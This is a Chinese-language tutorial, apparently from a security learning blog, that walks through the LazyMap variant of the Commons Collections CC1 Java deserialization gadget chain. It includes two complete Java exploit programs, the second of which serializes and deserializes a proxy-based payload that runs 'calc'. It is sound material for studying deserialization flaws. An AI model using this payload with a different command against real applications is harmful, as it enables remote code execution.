CC1链补充(LazyMap版)
攻击链分析
1. 寻找链尾
上来的流程还是一样的寻找链尾的exec方法。
- 漏洞点还是
InvokeTransformer下的transform方法
这里就不重复介绍了
2. 寻找链子
在 InvokeTransformer 下的 transform 方法,进行 find usages 操作。
之前我们所讲的是
TransformedMap的链子,今天我们去追正版 CC1 链里面LazyMap的链子。

这一次我们跟进LazyMap查看

我们看到这里,是 LazyMap 这个类的 get 方法中出现了 .transform 方法。get 方法的作用域为 public。并且这里是factory调用了transform方法,我们查看一下这是什么。

我们可以发现factory是Transformer实例,而且同样有decorate方法能够调用LazyMap的构造函数实例化一个LazyMap对象,同时会对factory进行初始化。那么这个地方的做法便与原生的CC1大同小异了,我便不过多解释了。
我们写一个EXP来测试一下目前的链子是可行的:
package com.test.Rce;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class LazyMapRce {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap hashmap = new HashMap();
Map lazymap = LazyMap.decorate(hashmap,invokerTransformer);
lazymap.get(runtime);
}
}
运行看效果

- 成功弹出计算器,说明目前的链子是没问题的。
我们从get方法继续向前跟进,find usages。
由于查出来的方法太多了,这里便直接告诉答案,依旧是我们的老朋友AnnotationInvocationHandler类。在它的invoke方法中调用了get方法。

看到
invoke你觉得熟不熟悉?没错它正是我们在动态代理的时候讲到的,当我们通过代理对象调用方法的时候便会调用它的invoke方法。而从此时的类名也能看出来与InvocationHandler有很大的关系。
所以接下来我们需要找能利用动态代理调用方法的地方。

又是我们的老朋友
readObject方法中,有一处地方调用了memberVaules的entrySet()方法,而memberValues是可以通过构造函数初始化的,我们只需要传入动态代理的实例便能成功调用invoke方法,我们也不需要往前跟进了因为已经到readObject入口类了哈哈哈。
所以完整的链子如下:
AnnotationInvocationHandler#readObject --> AnnotationInvocationHandler#invoke --> LazyMap#get --> InvokeTransformer#transform
4. 编写EXP
直接上完整的EXP:
package com.test.Rce;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapRce {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","6666");
Map<Object, Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
// 序列化反序列化
serialize(invocationHandler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
其中用于生成动态代理类的代码如下:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
其实我懂动态代理的原理,但是我这个地方的代码页不咋会写哈哈哈。
运行看看效果:

- 利用成功!
5. 总结
可以发现只要我们前面的内容都掌握了,在这条复现的时候见到的基本都是老朋友,所以每个地方都一定要自己动手复现。
调用链
InvokeTransformer#transform
LazyMap#get
AnnotationInvocationHandler#readObject
辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

至此CC1链子便搞完了。